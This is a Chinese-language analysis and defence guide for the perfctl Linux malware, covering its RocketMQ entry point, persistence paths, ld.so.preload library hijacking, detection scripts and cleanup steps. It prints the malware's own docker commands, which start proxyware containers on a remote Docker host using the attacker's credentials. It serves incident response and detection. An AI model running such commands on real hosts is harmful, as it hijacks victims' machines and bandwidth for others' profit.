恶意软件-perfctl 分析
字数 1896 2025-08-22 12:22:48
Perfctl 恶意软件分析与防御指南
一、恶意软件概述
Perfctl 是一种复杂的恶意软件,主要通过以下两种方式传播:
- 利用 RocketMQ RCE 漏洞 (CVE-2023-33246)
- 利用超过 20,000 种类型的配置错误进行外部攻击
攻击成功后,攻击者会获得 shell 访问权限,并部署恶意软件。
二、攻击流程分析
初始感染阶段
- 通过失陷主机获取的 shell,从攻击者的 HTTP 服务下载初始 payload
- 初始 payload 被放置在
/tmp目录下 - payload 执行后会将自身复制到
/tmp/.perc.c目录的新位置 - 赋予新文件执行权限并运行
- 终止原始进程并删除初始二进制文件
持久化机制
恶意软件会将自身复制到多个系统目录:
/root/.config/cron/perfcc/usr/bin/perfcc/bin/perf/bin/perfcc/lib/libpprocps.so/usr/lib/libpprocps.so/usr/lib/libfsnldev.so
三、恶意软件创建的修改项
1. 新增/修改的文件
/usr/bin/wizlmsh:用于保证 perfctl 恶意软件的持续存在/tmp/.xdiag:与恶意软件使用 Unix 套接字进行内部通信相关,使用 TOR 进行外部通信
2. 权限维持技术
环境变量注入
- 检查环境变量中可疑的值
- 恶意软件会在环境变量中放置许多恶意命令用于替换
配置文件修改
-
/etc/profile- 定义了系统的全局环境变量和启动脚本
- 恶意软件会增加恶意的环境变量
- 当用户登录系统时,这个文件会被执行
-
/root/.bash_profile- 用户登录时执行的文件
- 恶意软件会修改为登录时执行恶意软件
计划任务
- 检查可疑的计划任务:
/etc/cron.d/任务名/var/spool/cron/root
注意:使用 cat 命令查看计划任务文件时最好加上 -A 参数显示所有字符,因为攻击者可能插入 \r 导致后面的字符覆盖前面的字符。
服务注入
排查可疑服务并查看其启动命令:
systemctl list-units --type=service # 列出所有服务单元
systemctl status kmodaudit.service # 查看可疑服务状态
排查脚本:
#!/bin/bash
while getopts ":d:" opt; do
case ${opt} in
d ) days=${OPTARG} ;;
\? ) echo "Invalid option: -$OPTARG" 1>&2; exit 1 ;;
: ) echo "Invalid option: -$OPTARG requires an argument" 1>&2; exit 1 ;;
esac
done
shift $((OPTIND -1))
if [ -z "$days" ]; then
echo "Usage: $0 -d <days>"
exit 1
fi
services=$(systemctl list-units --type=service --all --no-pager)
echo "$services" | while read -r service; do
service_name=$(echo "$service" | awk '{print $1}')
if [[ "$service_name" =~ ^[a-zA-Z0-9\.\-\_]+$ ]]; then
status_output=$(systemctl status "$service_name" 2>/dev/null)
if echo "$status_output" | grep -q "Loaded: loaded"; then
service_path=$(echo "$status_output" | grep "Loaded: loaded" | sed -r 's/.*$([^)]+)$.*/\1/')
if [ -f "$service_path" ]; then
if find "$service_path" -mtime -"$days" | grep -q "$service_path"; then
exec_start=$(grep '^ExecStart' "$service_path")
if [ ! -z "$exec_start" ]; then
echo "Service: $service_path"
echo "$exec_start"
echo ""
fi
fi
fi
fi
fi
done
恶意动态链接库
-
/etc/ld.so.preload- 用于指定在动态链接器加载程序所需的共享库之前要预加载的共享库列表
- 恶意软件会劫持正常命令替换为恶意命令
-
检查进程加载的恶意
.so库
lsof -p 端口号 # 检查进程加载的.so库
检查脚本:
#!/bin/bash
for pid in $(ps -eo pid | grep -v PID); do
echo "检查进程 PID: $pid"
lsof -p $pid | grep '\.so'
echo "------------------------"
done
libgcwrap.so- 由 perftl 释放
- 将路径写入
/etc/ld.so.preload - 注入到后续启动的所有进程,hook 常见函数并增加恶意逻辑
四、恶意软件功能分析
1. 流量劫持功能
恶意软件用于各种代理劫持,占用闲置流量带宽赚取挂机收益:
- speedshare.app
- earn.fm
- bitping.com
- repocket.com
2. 初始配置脚本
恶意软件执行了包含以下内容的恶意脚本:
docker -H $DKSKF run -d --rm -e AAZHDE=1 -e RP_EMAIL=web3evo@protonmail.com -e RP_API_KEY=da9d8d4c-4fda-46bc-a4ce-39a9b60b7ae7 --name rpk repocket/repocket:latest
docker -H $DKSKF run -d --rm -e AAZHDE=1 --name ipr iproyal/pawns-cli:latest -email=web3evo@protonmail.com -password='FOIMRHrBb55GM4IMF' -device-name="$devnam" -device-id="${devnam}" -accept-tos
docker -H $DKSKF run -d --rm -e AAZHDE=1 -e CID=6NOK --name pst packetstream/psclient:latest
这些命令启动了以下服务:
- repocket/repocket:latest (repocket.com)
- iproyal/pawns-cli:latest (pawns.app)
- packetstream/psclient:latest (packetstream.io)
五、防御建议
1. 检测措施
-
检查以下路径是否存在可疑文件:
/tmp/.perc.c/usr/bin/wizlmsh/tmp/.xdiag- 上述提到的所有.so文件路径
-
检查以下配置文件是否被修改:
/etc/profile/root/.bash_profile/etc/ld.so.preload
-
检查计划任务和服务是否有异常
-
监控以下进程:
- 加载了
libgcwrap.so或libfsnldev.so的进程 - 可疑的 docker 容器
- 加载了
2. 防护措施
-
及时修补 RocketMQ 漏洞 (CVE-2023-33246)
-
检查并修复系统配置错误
-
限制 docker 容器的执行权限
-
监控网络流量,特别是到以下域名的连接:
- speedshare.app
- earn.fm
- bitping.com
- repocket.com
- pawns.app
- packetstream.io
-
实施文件完整性监控,特别是对系统关键文件和目录
3. 清除措施
- 删除所有恶意文件
- 恢复被修改的配置文件
- 清除恶意计划任务和服务
- 终止所有恶意进程
- 检查并清理所有可疑的 docker 容器
通过以上全面的分析和防御措施,可以有效应对 Perfctl 恶意软件的威胁。